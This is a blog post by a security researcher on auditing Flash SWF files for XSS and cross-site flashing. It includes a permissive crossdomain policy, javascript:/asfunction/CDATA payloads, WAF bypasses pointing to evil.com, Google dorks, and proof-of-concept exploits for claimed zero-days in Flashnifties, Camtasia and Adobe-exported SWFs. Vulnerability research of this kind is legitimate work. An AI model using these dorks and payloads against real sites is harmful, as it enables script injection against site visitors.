Hey, this blog post will be covering different forms of vulnerabilities that can exist within SWF’s, and a basic explanation of how to go about auditing actionscript code in order to find these vulnerabilities. It will also contain a few zero-days that i’ve found using these methods.

Before I start, just an apology in advance as this has been sloppily written (even moreso than usual). I originally wrote this 5 months ago and it’s been sitting waiting to be published ever since (while I waited for the affected companies to patch their shit), in those 5 months i’ve came back here a few times and added/removed bits of info, so if it seems like i’m covering stuff in a pretty random manner or if it seems like I cover the same point a few times without realising, then that’s probably because I did.

While waiting for companies to patch before I posted this, I noticed a few similar posts covering flash vulnerabilities popped up. I figured it’s still worth posting this because unlike those posts, I’m not going too much into flash-based exploitation vectors but rather just giving a brief overview before presenting my own personal findings. These other posts that I saw haven’t really covered their personal findings in terms of actual vulnerabilities in the wild but rather their personal research regarding exploitation techniques. They are both very good posts though, highly informative and they will cover some of the concepts I touch upon here, but more in depth. The posts i’m referring to are Flash it baby (not a blog post, but rather slides from a talk) by irsdl and also Finding XSS vulnerabilities in Flash files by smiegles – both are definitely worth reading.

It is mainly going to be covering vulnerabilities that can result in javascript being executed on the target site via an insecure SWF. I won’t be getting into bugs that are specific to versions of flash player or stuff like the recently patched adobe zero-days that can allow flash users’ machines to be compromised. Although there are other similar bugs relating to vulnerable SWF’s (SOME, Open Redirects, Info Disclosure, etc) I will just mainly be covering XSS/XSF.

When testing in the wild, I think these are a very good thing to look into. These vulnerabilities are generally pretty easy to find, and many big sites appear to be vulnerable. Although flash is a dying technology, you should take into account the fact that it is still enabled by default within Google Chrome (the most popular browser) therefore a lot of people can potentially be affected by a flash XSS.

Within a week of testing via these methods, I identified vulnerabilities in Microsoft, Bank of America, Dell, HP, Oracle, Intel, Forex, NASDAQ, JPMorgan Chase, NASA, Samsung, Sony, Kodak, Adobe, CNN, Washington Post, US DoD/Army/Navy/Marines/Airforce, United Nations, whitehouse.gov, norad.mil,  java.net and more using these methods.

For those who have worked with actionscript before, you’re probably aware of how similar it is to javascript (both being ECMA-based) in terms of syntax. Like other languages that can be vulnerable to XSS, failure to properly sanatize user inputs within actionscript can allow these vulnerabilities to take place – in addition to this there are a few vulnerabilities specific to actionscript, such as cross site flashing and externalInterface.call(); trickery

List of unsafe methods in actionscript:

XML.load ( 'url' )
XML.sendAndLoad ( 'url' )
LoadVars.load ( 'url' )
LoadVars.send ( 'url' ) 
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );

I’m sure there’s more, but these are some of the most common ones. I won’t be going in depth on how to exploit all of these (a lot of these are similar), but rather a brief explanation of the different methods for each main kind of vulnerability. Do not expect me to go too much in depth here, I am just covering the bare basics for each of the common methods and related concepts, before moving onto my own findings.

Crossdomain.xml :

Crossdomain policies are a set of rules that determine which clients (such as flash player) can access data across multiple domains. For a full explanation of how crossdomain policies work, you can read the specification here

Here is an example crossdomain policy:


For some of the methods i’m about to describe, you’ll need your crossdomain policy to look something like this:

<?xml version=”1.0″?>
<!DOCTYPE cross-domain-policy SYSTEM “http://www.adobe.com/xml/dtds/cross-domain-policy.dtd”&gt;
<site-control permitted-cross-domain-policies=”all“/>
<allow-access-from domain=”*” secure=”false“/>
<allow-http-request-headers-from domain=”*” headers=”*” secure=”false“/>

I’ll explain why this is useful for exploitation soon, but first i’m going to cover some more traditional XSS that flash can be susceptible to.

Whitebox approach to SWF analysis:

SWF files can be easily decompiled, meaning that with some basic actionscript knowledge it is always possible to perform a whitebox code audit on the SWF. There are many free tools available for SWF decompilation, but if you’re a Linux user then Flare would be my recommendation due to its simplicity and the fact that it is far more lightweight than most other flash decompilers.

To save the raw SWF there are a few options, you can either get the direct link and wget it to your box (if its a HTML page then you’ll need to view the page source and CTRL + F for the SWF, it will be stored within an or <object> tag – it is also worth doing this anyway even with a blackbox approach so you can see any associated flashvars and what the status of allowScriptAccess is set to) or you can use your browser and select the ‘save page as’ (CTRL+S) option which will save the SWF for you.

Once decompiled, it will be generally saved in .fla format (or .flr if you’re using flare), you can then open it with a text editor and perform analysis of the source code in order to hunt for potential vulnerabilities (by checking for functions that could be vulnerable + checking for undefined flashvars and just getting a general understanding of the code flow)

One thing that flare lacks is the ability to mass decompile a bunch of swf’s, which is a little annoying because you have to write up a quick bash script to automate this when it should be included functionality anyway. The ability to mass decompile helps save time because you can just decompile all swf’s within a dir and then grep the contents of them for potentially vulnerable functions, resulting in less time spent auditing code that has no chance of being vuln.

I wrote FlashFuzzr, a simple tool written in C to help aid with both blackbox + whitebox testing of SWF’s – it is configured to work with flare but supports mass compilation (you supply the directory as input rather than individual files) and it is also useful for performing a quick blackbox test before digging deeper into the source via whitebox, you just give it a user supplied URL and it begins to fire a bunch of vectors. It has a simple text-based interface and is designed to run on linux:


Flashvars + Undefined variables explanation:

Flashvars are variables that can take user-supplied input for the flash application for use within the application. Generally they are initialized within HTML via embed/object like so

 〈embed src="lol.swf" width="1337" height="1337" FlashVars="param=something&param2=somethingelse&param3=lol"〉

Within ActionScript3 a developer needs to assign their flashvars to local variables, but within ActionScript2, any global variable that is not initialized is automatically assumed to be a flashvar and treated as such. This means that if you find a global variable that has not been explicitly defined within the source that you’re auditing, then you can assign your own values to that variable by calling it via GET like you would with a flashvar. Depending on the context in which this variable is meant used within the program, this may or may not lead to a multitude of vulnerabilities.

You can check for global variables by looking for strings preceeded with any of the following:




If any of those are declared but not defined, then there is a good chance of a potential vulnerability being present.

getURL() / NavigateToURL() : 

If getURL or its AS3 equivalent is setup in an incorrect manner, then exploiting it is very trivial. It does as the function name suggests (attempts to get a movie from a remote URL) so you can just exploit this to result in XSS in the same way as you would with an open redirect by calling javascript:alert(domain) or data:text/html,〈script〉alert(1337)〈/script〉 – also remember that if HTML tags trigger WAF then you can base64 encode the input like so: 


So if you decompile an SWF and see a flashvar which you can control being used as the argument for getURL, then you can probably exploit it by calling javascript:// or data:// (or you can turn it into a generic open redirect)

Also somewhat unrelated, and probably already known by most who have had a quick look at OWASP, but actionscript can be used to obfuscate XSS vectors in the following manner:


its a good thing to always remember, and it has helped me out for sure with bypasses on a few occasions!

externalInterface.Call :

This function can be abused for callback functionality – for those who may not be familiar with exploiting callback functionality in actionscript, let me give an example in another language that people may be more familiar with.

Within PHP, PRCE functions can be abused for callback functionality, allowing you to call phpinfo(); to disclose the uname output, php version, etc etc. The most common example of this would be preg_replace(); with the /e modifier active. Actionscript can be vulnerable to something similar (except you’re obviously not calling phpinfo();) – externalInterface.call takes two arguments – the name of the JS function to call, and the string to pass to that function. In the case of externalInterface.call, callback functionality can be abused in order to trigger an XSS.

a typical vector used for exploiting externalInterface.call for XSS would look something like this:



although in some cases, a simple alert`0` (with template strings) or \’);alert(document.domain); will suffice. Some examples of externalInterface.call being exploited for XSS can be seen with the plupload/swfupload XSS, example, such as like this:


another (more recent) example of XSS via externalInterface.call would be the flashmediaelement.swf that the guys from cure53 recently released, you can read a detailed write-up here – It should also be noted that this vulnerability isn’t exclusive to wordpress. Here is an example:


HTML injection / Callback functionality via textfield objects:

Textfield objects within flash allow HTML to be rendered but in a very limited sense, it will only allow certain tags to be rendered. To my knowledge the only tags that can be used to trigger XSS via this are <a> and <img> – if the <a> tag does not allow you to set hyperlink to a javascript: uri then you can compromise via data: with a base64 encoded input.

In older versions of flash player you could trigger xss via the src= attrib for <img> by bypassing flash’s internal filter through means of appending an swf extension to your payload, like so:

  • <img src=’javascript:alert(document.domain)//.swf’ alt=''>

it is also possible to set the src attrib of the image to a malicious SWF designed to trigger a js alert.

You can also use the <a> tag to exploit callback functionality by calling both swf public functions and native static asfunctions like so (to circumvent crossdomain policies in this example):

  • <a href=’asfunction:System.Security.allowDomain,evilhost' />

asfunction can be used to achieve XSS also, by calling a native function such as getURL like so:

  • <a href=’asfunction:getURL,javascript:alert(document.domain)‘>

Injecting HTML/JS Via CDATA:

CDATA stands for character data and it allows you to include data that could be considered as XML markup but should not be. For example lets say you’re crafting a malicious XML file to trigger an XSS in a vulnerable SWF and you see a <text> section where you want to inject some HTML that the victom can interact with in order to trigger your javascript payload. If you added your HTML content in its regular form between the <text> tags then it would just be treated as more XML tags (due to the flexibility of XML and the fact that any tag name can be considered potentially valid). You use CDATA so it knows that your data should not be treat as XML markup, meaning you can add your own HTML markup and it will be treated as valid HTML when rendered. Here is an example of how you would add some HTML via CDATA:

<![CDATA[<h1>My HTML content</h1>]]>

Loading Malicious XML Files:

In some cases, you’ll find files with an external XML config file passed as a flashvar via GET to the SWF. This config file can be used to control both the style and the content of the page. In order to do this, you will need to have a crossdomain policy setup (as described above) on your site. This is generally due to an insecure implementation of loadMovie or XML.load although it can also occur as a result of client-sided javascript being used to control the flash movie (e.g. via getVariable() / setVariable() )

In order to exploit this you need your XML file to conform to their style (so its best to have a copy of the XML file they are using to base your payload off of) and you’ll also need a correctly configured crossdomain policy on your site.

Packet Analysis:

One often overlooked aspect when testing flash applications for bugs is packet analysis. Although this is obviously not specific to flash, I always play around with it when testing flash applications as due to their interactive nature (web-based games etc) you will generally find results by playing around with packets sent to and from the application.

It is a very good idea to fire up wireshark and see which packets are sent when you make different actions, and what modifying those packets can do (you can also achieve some very nice things with packet-based filters). I’ve found all kinds of crazy bugs in the past via methods like this (such as being able to spawn unlimited in-game currently, having the ability to send a flash based chatbox “back in time” repeatedly, etc).

I think for me to go in detail about this I will need to make a blog post specifically for this. I will get around to that sometime because there are some very interesting techniques here.

Below, I will list a few zeroday exploits identified using the methods detailed above.

Flashnifties XML Slideshow XSS:

This is a trivial to exploit vulnerability for Flashnifties XML Slideshow which allows an attacker to trigger XSS and also perform content forgery via a malicious XML file. Considering these devs refer to themselves as developers of “professional flash tools” i’d figure they’d at least have SOME kind of protections in place.. but nope. Any random kid could find and exploit this with ease.

Google dork:

intext:flashnifties filetype:swf


To exploit this, an attacker needs to supply their own malicious XML file (via the file param i.e. slideshow.swf?file=HERE), lets take a look at an example XML file for flashnifties:

<?xml version=”1.0″ encoding=”iso-8859-1″?>
<slideshow displayTime=”5”
<image img=”/Images/Backgrounds/01.jpg” caption=”” />
<image img=”/Images/Backgrounds/02.jpg” caption=”” />
<image img=”/Images/Backgrounds/03.jpg” caption=”” />
<image img=”/Images/Backgrounds/04.jpg” caption=”” />
<image img=”/Images/Backgrounds/05.jpg” caption=”” />
<image img=”/Images/Backgrounds/06.jpg” caption=”” />

As you can see, the locations for the images included in the slideshow are specified in the XML file. An attacker can simply modify this location to javascript:alert(document.domain) and the javascript will trigger as soon as the victim clicks an image (or as soon as the next image within the slideshow loads)

Here is what an example payload from an attacker would look like:

<image img=”javascript:alert(‘XSS@’%2Bdocument.domain” caption=”” />

Also, a FAR more dangerous vulnerability can be triggered in a similar manner.. I’ve decided to not publicize this one because that’d be mean (although I was tempted, received no response from the vendors of this software when I originally reported it). I’m sure some people reading this blog should be able to figure it out for themselves easily though.

Camtasia Studio + Camstudio: XSS + XSF / Content Forgery:

This is a vulnerability in Camtasia Studio in which an attacker can spoof content and trigger javascript via a malicious XML file passed via GET to the SWF. Although Camtasia is screen-recording software, it has the option for a user to export their recording in SWF format to their website, and does so by generating an XML file which is then called via GET using the csConfigFile param – there is no test to ensure that the supplied XML file comes from the same site origin as the SWF (meaning anyone can supply a malicious XML file)

Google Dork:

inurl:csconfigfile filetype:swf


In some cases there will be filtering involved, but it is generally pretty trivial to circumvent. I’ve seen a few cases of this where ‘http(s)’ triggers a WAF response and gives you a HTTP 403 – in which case you can bypass with simple url redirection tricks such as csConfigFile=//evil.com/evil.xml or csConfigfile=/\/\evil.com/evil.xml. In the case of Microsoft.com they disallowed an IP address to be used as the input for the vulnerable param, this can be bypassed by simply registering a domain. One final method i’ve seen that has presumably been self-imposed by admins attempting to circumvent this is the blacklisting of XML extensions if supplied via GET with an unrecognised host as part of the param.. I shouldn’t have to point out how stupid this is, you can just either save the XML file without an extension (and it will still be valid) or you can just modify .htaccess to 302 redirect to the XML file from a file with a non-blacklisted extension on your server.

Here is a live example:



In the method above, I am using CDATA to trigger the XSS by adding some HTML markup to the page and setting href= attrib for <a> to javascript: uri (to make the about box pop up, just click the Camtasia logo in the bottom right) – Although this demonstrates the ability to execute javascript (and also demonstrates content forgery), if you wanted a PoC that required minimal user interaction then this wouldn’t exactly be ideal. Something better would be to perform Cross Site Flashing to include a malicious SWF file that triggers

flash.external.ExternalInterface.call(“alert”, ‘XSS’);

flash.external.ExternalInterface.call(“eval”, ‘cmd’);

Below is an example PoC to display how the javascript would be triggered via a malicious XML file:

<AboutBoxText><![CDATA[<a href=javascript:alert(1337)>Click me</a>]]> </AboutBoxText>

Adobe Illustrator XSS:

This final 0day is an XSS vulnerability affecting certain features of Adobe Illustrator (particularly their “export to SWF” feature) – some big sites are affected including the United Nations and the World’s largest stock exchange. There isn’t a specific google dork for this because there are many different instances of it, but some of the following dorks can work:

inurl:world.swf filetype:swf

inurl:us.swf filetype:swf

inurl:america.swf filetype:swf

inurl:africa.swf filetype:swf

inurl:asia.swf filetype:swf

If there’s a world map (or a map of a specific continent) then you’ve found the right thing. A remote XML file is supplied via the data_file= flashvar, and there are no checks on whether its from a valid source or not.

The example XML file is too large to include here, but it can be found here – exploitation is simple, just replace all instances of <url>data</url> with:




then click anywhere on the page for the alert to trigger — of course you need a correctly configured crossdomain policy for this to work like with the previous examples.

Using these methods to find generic vulns:

Of course, these bugs are not limited to specific commercial software, but also custom flash applications that careless developers may have created and hosted online, you can usually narrow down the search for these bugs with a google dork such as:

inurl:xml filetype:swf

Below is an example of a vuln identified in adobe using these methods (I figured adobe is a good option since they’re the people who created flash, so a flash vuln on their site would be kinda ironic):

The google dork listed above could uncover this.

Here is the vulnerable URL:

This is a combination of a few of the methods listed above, so it would be a good starting point to practise for a beginner who has just read this blog (to see if you can properly configure your crossdomain policy and understand how CDATA works etc).

Here is the payload (WAF bypass was required):

  • <cta id=’ANSES’ actionType=’download’ data=’javascript://adobe.com%0aprompt(domain)’><![CDATA [CLICK HERE] ]></cta>

For practise maybe you can use this and alter some of the values in your XML file to play around with the content forgery too (to see how you could potentially use this for content forgery) – try setting up your own payload + crossdomain policy and see if you can trigger the alert


Hopefully some people can use these methods to find their own flash bugs, that’s all for now. Hope you enjoyed.